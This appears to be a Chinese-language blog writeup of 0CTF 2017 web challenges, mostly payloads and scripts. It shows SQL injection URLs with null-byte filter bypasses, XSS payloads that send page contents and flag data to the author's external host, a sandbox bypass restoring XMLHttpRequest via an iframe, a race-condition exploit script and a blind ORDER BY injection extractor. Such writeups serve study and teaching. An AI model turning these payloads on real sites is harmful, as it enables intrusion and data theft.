MENU

0CTF 2017 writeup

March 30, 2017 • Read: 4743 • CTF

simplesqlin

名字就能看出来是注入了,然而 select 被过滤,百般尝试后发现插入 %00 后可以绕过。

http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),user()
http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),group_concat(table_name) fr%00om information_schema.tables wher%00e table_schema=database()
http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),group_concat(column_name) fr%00om information_schema.columns wher%00e table_schema=database() and table_name=0x666c6167
http://202.120.7.203/index.php?id=-1 union sele%00ct 1,database(),flag fr%00om flag

数据库是 news,表有 flagnews

simple xss

题目描述 flag 在 flag.php 下,且有 ip 限制。

测试后发现很多符号被过滤,如

' " : / > . ( ) & # % 等等

直接写自己的语句基本不可行,可以用 link 标签引入外部 js。

<link rel=import href=\\八进制ip

也可以用域名,将 . 代替。

注意主站用了 https,\\ 默认会用和主站一样的协议访问,所以引入的时候需要一个 https 站,给腾讯云打个广告,申请个证书审核超级快,一点都没耽误做题。。。

引入的 js

<script>
  var xhr = new XMLHttpRequest();
  xhr.open("GET", "https://router.vip/flag.php", false);
  xhr.send();
  a=xhr.responseText;
  location.href='https://master.xbfzss.cn/?a='+escape(a);
</script>

另外还需要配置 Access-Control-Allow-Origin: *

提交给主站的 payload

<link rel=import href=\\master。xbfzss。cn

simplexss

complicated xss

有一个基本没什么过滤的xss点,访问 http://admin.government.vip:8000 可得到flag。flag页面有个登录的地方,默认给了一个test用户,登录有发现cookies里用户名的地方也是一个xss点,且网站有个沙箱,删除了很多函数。

<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

题目还说只有admin可以upload,那么就需要先找到上传部分的代码来确定上传时需要的字段。但是由于web的同源策略,不同协议,不同域名,不同端口都是不同源的,government.vip上的xss是读不到admin子域的内容的。

这时就要借助cookies里的xss点。根据cookies的同源策略,仅根据domain/path区分,不区分端口和协议(HTTP和HTTPS)。所以可以通过修改government.vip上的cookies,绕过web的同源策略,利用cookies访问admin子域的内容。

<script>
function setCookie(name,value){
  var Days = 30;
  var exp = new Date();
  exp.setTime(exp.getTime() + Days*24*60*60*1000);
  document.cookie = name + "="+ value + ";expires=" + exp.toGMTString() + ";path=/;domain=.government.vip";
}
setCookie("username","<svg onload=location.href='http://ip:port/?a='+escape(document.getElementsByTagName('html')[0].innerHTML)>");
location.href='http://admin.government.vip:8000/';
</script>

返回得到的admin子域的内容。

<head>
<title>Admin Panel</title>
<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>
</head>

<body><h1>Hello <svg onload="location.href='http://ip:port/?a='+escape(document.getElementsByTagName('html')[0].innerHTML)"></svg></h1>


<p>Upload your shell</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<p><input type="file" name="file"></p>
<p><input type="submit" value="upload">
</p></form>
</body>

这样我们就需要向admin子域上传一个文件,此时 XMLHttpRequest 被禁用,可以利用 iframe 来恢复一个。

function fix() {
  var iframe = document.createElement('iframe')
  iframe.src = 'about:blank'
  document.body.appendChild(iframe)
  window.XMLHttpRequest = iframe.contentWindow.XMLHttpRequest
}
fix();

然后再发送 POST 请求获取flag。

function submitRequest() {
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "http://admin.government.vip:8000/upload", true);
  xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
  xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
  xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
  xhr.withCredentials = "true";
  var body = "-----------------------------256672629917035\r\n" +
      "Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n" +
      "Content-Type: text/plain\r\n" +
      "\r\n" +
      "test3\r\n" +
      "-----------------------------256672629917035--\r\n";
  var aBody = new Uint8Array(body.length);
  for (var i = 0; i < aBody.length; i++)
    aBody[i] = body.charCodeAt(i);
  xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
      location.href="http://ip:port/"+escape(xhr.responseText);
    }
  }
  xhr.send(new Blob([aBody]));
}
submitRequest();

得到flag。

GET /flag%7Bxss_is_fun_2333333%7D HTTP/1.1

Temmo's Tiny Shop

注册登录后,发现是一个买卖东西的商店,判断请求,很可能有竞争,但用requests始终不行,后来看到别人的脚本,用curl写的,居然可以100%触发。。。

#!/bin/bash
username="******"
password="******"
cookie1="PHPSESSID=3k21rt4acut215r1adlrq5m0p0"
cookie2="PHPSESSID=ck8pgb52nkkb8sdg2c95ms7s16"
url="http://202.120.7.197/app.php"

curl "$url?action=login" -b $cookie1 -d "username=$username&pwd=$password" &\
curl "$url?action=login" -b $cookie2 -d "username=$username&pwd=$password"

curl "$url?action=buy&id=1" -b $cookie1

curl "$url?action=sale&id=1" -b $cookie1 &\
curl "$url?action=sale&id=1" -b $cookie2

用Python改写后触发几率大大降低了,可能是因为阻塞了?

import requests
import threading


def buy():
    res = session.get(url, params=buy_param, cookies=cookie1)
    print res.text


def sale():
    res = session.get(url, params=sale_param, cookies=cookie2)
    print res.text
    res = session.get(url, params=sale_param, cookies=cookie1)
    print res.text


def main():
    while True:
        t1 = threading.Thread(target=buy)
        t2 = threading.Thread(target=sale)
        t3 = threading.Thread(target=sale)
        t1.start()
        t2.start()
        t3.start()

        t1.join()
        t2.join()
        t3.join()


if __name__ == '__main__':
    username = "******"
    password = "******"

    cookie1 = {"PHPSESSID": "3k21rt4acut215r1adlrq5m0p0"}
    cookie2 = {"PHPSESSID": "ck8pgb52nkkb8sdg2c95ms7s16"}

    url = "http://202.120.7.197/app.php"

    login_param = {"action": "login"}
    login_data = {"username": username, "pwd": password}
    buy_param = {"action": "buy", "id": "1"}
    sale_param = {"action": "sale", "id": "1"}

    session = requests.session()

    res = session.post(url=url, params=login_param, data=login_data, cookies=cookie1)
    print res.text
    res = session.post(url=url, params=login_param, data=login_data, cookies=cookie2)
    print res.text

    main()

竞争好了后可以买HINT,得到表名。

OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`

搜索那里有waf,那么基本可以断定注入点是在那里了。

keyword 参数那里什么反应都没有,order 处有waf,猜测是order by中的注入,空格被过滤,用括号绕过。

http://202.120.7.197/app.php?action=search&keyword=i&order=(1)desc
{"status":"suc","goods":[{"id":"5","name":"Brownie","price":"2200","number":0},{"id":"3","name":"!HINT!","price":"8000","number":0},{"id":"2","name":"Erwin Schrodinger's Cat","price":"1600","number":0}]}

http://202.120.7.197/app.php?action=search&keyword=i&order=(1)asc
{"status":"suc","goods":[{"id":"2","name":"Erwin Schrodinger's Cat","price":"1600","number":0},{"id":"3","name":"!HINT!","price":"8000","number":0},{"id":"5","name":"Brownie","price":"2200","number":0}]}

降序和升序回显不同,可以利用这一点进行盲注,使用类似 if(1<2,id,domain) 的语句。

import requests
import string

session = requests.session()
url = "http://202.120.7.197/app.php"
cookie = {"PHPSESSID": "ck8pgb52nkkb8sdg2c95ms7s16"}
flag = ""

for i in xrange(1, 50):
    for j in string.printable:
        if j == "%": continue
        param = {"action": "search", "keyword": "", "order": "if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),{length},1)like({num}),price,name)".format(length=str(i), num=hex(ord(j)))}
        # print param
        res = session.get(url=url, params=param, cookies=cookie)
        content = res.text
        # print content
        if content.find("\"id\":\"5\"") > content.find("\"id\":\"2\""):
            print j
            flag += j
            print flag
            break

得到flag

flag_r4ce_c0nditi0n_i5_excited_
Last Modified: April 9, 2017
Archives QR Code
QR Code for this page
Tipping QR Code